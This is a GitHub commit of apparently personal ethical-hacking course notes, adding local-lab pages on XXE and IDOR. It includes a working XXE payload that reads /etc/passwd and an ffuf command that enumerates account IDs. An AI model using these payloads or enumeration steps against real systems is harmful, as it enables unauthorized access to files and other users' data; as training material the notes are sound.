Skip to content

Commit ce594ee

Browse files
syselementsyselement
committed
PEH - Web app
1 parent fd60fd1 commit ce594ee

9 files changed

+119
-10
lines changed

‎README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
- [x] [Linux 101](linux-101/README.md) by Brent Eskridge
88
- [x] [Mobile Application Penetration Testing](mapt/README.md) by [Aaron Wilson](https://www.linkedin.com/in/wilson-security/overlay/about-this-profile/)
9-
- [ ] [Practical Ethical Hacking](peh/README.md) by [Heath Adams](https://www.thecybermentor.com/)
9+
- [x] [Practical Ethical Hacking](peh/README.md) by [Heath Adams](https://www.thecybermentor.com/)
1010

1111
---
1212

‎SUMMARY.md

+9
Original file line numberDiff line numberDiff line change
@@ -80,6 +80,15 @@
8080
- [AD - Case Studies](peh/4-active-directory/6-ad-casestudies.md)
8181
- [5. Post Exploitation](peh/5-post-exploitation/README.md)
8282
- [6. Web Application](peh/6-webapp/README.md)
83+
- [Web App Lab Setup](peh/6-webapp/1-web-lab.md)
84+
- [Web App - SQL Injection](peh/6-webapp/2-web-sqli.md)
85+
- [Web App - XSS](peh/6-webapp/3-web-xss.md)
86+
- [Web App - Command Injection](peh/6-webapp/4-web-cmd-injection.md)
87+
- [Web App - Insecure File Upload](peh/6-webapp/5-web-file-upload.md)
88+
- [Web App - Authentication Attacks](peh/6-webapp/6-web-auth-attacks.md)
89+
- [Web App - XXE](peh/6-webapp/7-web-xxe.md)
90+
- [Web App - IDOR](peh/6-webapp/8-web-idor.md)
91+
- [Web App - Capstone Practical Lab](peh/6-webapp/9-web-capstone-lab.md)
8392
- [7. Wireless Attacks](peh/7-wireless/README.md)
8493
- [8. Legal Documentation & Report Writing](peh/8-report/README.md)
8594
- [🌐 PEH References](peh/peh-references.md)

‎peh/6-webapp/.gitbook/assets/2025-02-28_13-29-38_929.png

100 KB
Loading

‎peh/6-webapp/.gitbook/assets/2025-02-28_13-35-42_930.png

25.3 KB
Loading

‎peh/6-webapp/7-web-xxe.md

+42
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,44 @@
11
# Web App - XXE
22

3+
> - [XXE (XML external entity) injection | AppSecExplained](https://appsecexplained.gitbook.io/appsecexplained/common-vulns/xxe-xml-external-entity-injection)
4+
> - [PayloadsAllTheThings - XXE Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md)
5+
6+
➡️ **XML External Entity** (**XXE**) injection is a security vulnerability that occurs when an application processes XML input containing references to external entities without proper validation.
7+
8+
---
9+
10+
## XXE - External Entities Injection
11+
12+
```bash
13+
cd $HOME/peh/labs/user-content
14+
xxe-exploit.xml
15+
xxe-safe.xml
16+
17+
cat xxe-safe.xml
18+
19+
<?xml version="1.0" encoding="UTF-8"?>
20+
<creds>
21+
<user>testuser</user>
22+
<password>testpass</password>
23+
</creds>
24+
25+
cat xxe-exploit.xml
26+
27+
<?xml version="1.0" encoding="UTF-8"?>
28+
<!DOCTYPE creds [
29+
<!ELEMENT creds ANY >
30+
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
31+
<creds><user>&xxe;</user><password>pass</password></creds>
32+
```
33+
34+
- Upload `xxe-safe.xml` and check the result.
35+
- Try `xxe-exploit.xml`
36+
- **XML Declaration & DOCTYPE**: Declares an XML document and defines an external entity
37+
- **Entity Definition**: The external entity `xxe` is set to read the file `/etc/passwd`
38+
- **Usage in XML**: The entity is referenced in the `<user>` tag
39+
- **Result**: If vulnerable, the XML parser includes the file content in the output
40+
41+
![](.gitbook/assets/2025-02-28_13-29-38_929.png)
42+
43+
---
44+

‎peh/6-webapp/8-web-idor.md

+51
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,53 @@
11
# Web App - IDOR
22

3+
> - [PayloadsAllTheThings - Insecure Direct Object References](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Direct%20Object%20References)
4+
5+
➡️ **Insecure Direct Object Reference** (**IDOR**) occurs when an application exposes direct access to objects (e.g. database records, files, etc) without proper authorization, allowing attackers to manipulate or access unauthorized data.
6+
7+
---
8+
9+
## IDOR - Insecure Direct Object Reference
10+
11+
- Try to change the `account` object ID in the URL to something else
12+
- `http://localhost/labs/e0x02.php?account=1009`
13+
- `http://localhost/labs/e0x02.php?account=1010`
14+
15+
![](.gitbook/assets/2025-02-28_13-35-42_930.png)
16+
17+
- Enumerate all the accounts within the application
18+
19+
```bash
20+
cd $HOME/tcm/peh/webapp
21+
22+
# Create IDs file from 1 to 1000
23+
python3 -c 'for i in range(1,2001): print(i)' > num.txt
24+
25+
ffuf -u 'http://localhost/labs/e0x02.php?account=FUZZ' -w num.txt -fs 849
26+
```
27+
28+
```bash
29+
# Valid accounts
30+
1000
31+
1001
32+
1002
33+
1004
34+
1006
35+
1005
36+
1009
37+
1007
38+
1010
39+
1008
40+
1016
41+
1012
42+
1014
43+
1019
44+
1011
45+
1017
46+
1015
47+
1013
48+
1018
49+
1003
50+
```
51+
52+
---
53+

‎peh/6-webapp/9-web-capstone-lab.md

+2
Original file line numberDiff line numberDiff line change
@@ -1 +1,3 @@
11
# Web App - Capstone Practical Lab
2+
3+
Analyze and pentest the web application by finding all the impactful issues.

‎peh/6-webapp/README.md

+9-9
Original file line numberDiff line numberDiff line change
@@ -4,15 +4,15 @@
44

55
## Sections
66

7-
1. [Web App Lab Setup](2-web-lab.md)
8-
2. [Web App - SQL Injection](3-web-sqli.md)
9-
3. [Web App - XSS](4-web-xss.md)
10-
4. [Web App - Command Injection](5-web-cmd-injection.md)
11-
5. [Web App - Insecure File Upload](6-web-file-upload.md)
12-
6. [Web App - Authentication Attacks](7-web-auth-attacks.md)
13-
7. [Web App - XXE](8-web-xxe.md)
14-
8. [Web App - IDOR](9-web-idor.md)
15-
9. [Web App - Capstone Practical Lab](10-web-capstone-lab.md)
7+
1. [Web App Lab Setup](1-web-lab.md)
8+
2. [Web App - SQL Injection](2-web-sqli.md)
9+
3. [Web App - XSS](3-web-xss.md)
10+
4. [Web App - Command Injection](4-web-cmd-injection.md)
11+
5. [Web App - Insecure File Upload](5-web-file-upload.md)
12+
6. [Web App - Authentication Attacks](6-web-auth-attacks.md)
13+
7. [Web App - XXE](7-web-xxe.md)
14+
8. [Web App - IDOR](8-web-idor.md)
15+
9. [Web App - Capstone Practical Lab](9-web-capstone-lab.md)
1616

1717
---
1818

‎peh/peh-references.md

+5
Original file line numberDiff line numberDiff line change
@@ -245,7 +245,12 @@
245245

246246
- [Authentication | AppSecExplained](https://appsecexplained.gitbook.io/appsecexplained/common-vulns/authentication)
247247
- [Authentication vulnerabilities | Web Security Academy](https://portswigger.net/web-security/authentication)
248+
- [PayloadsAllTheThings - XXE Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md)
249+
- [What is XXE (XML external entity) injection? | Web Security Academy](https://portswigger.net/web-security/xxe)
250+
- [XXE (XML external entity) injection | AppSecExplained](https://appsecexplained.gitbook.io/appsecexplained/common-vulns/xxe-xml-external-entity-injection)
248251

252+
- [PayloadsAllTheThings - Insecure Direct Object References](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Direct%20Object%20References)
253+
- [Insecure direct object references (IDOR) | Web Security Academy](https://portswigger.net/web-security/access-control/idor)
249254

250255

251256

0 commit comments

Comments
 (0)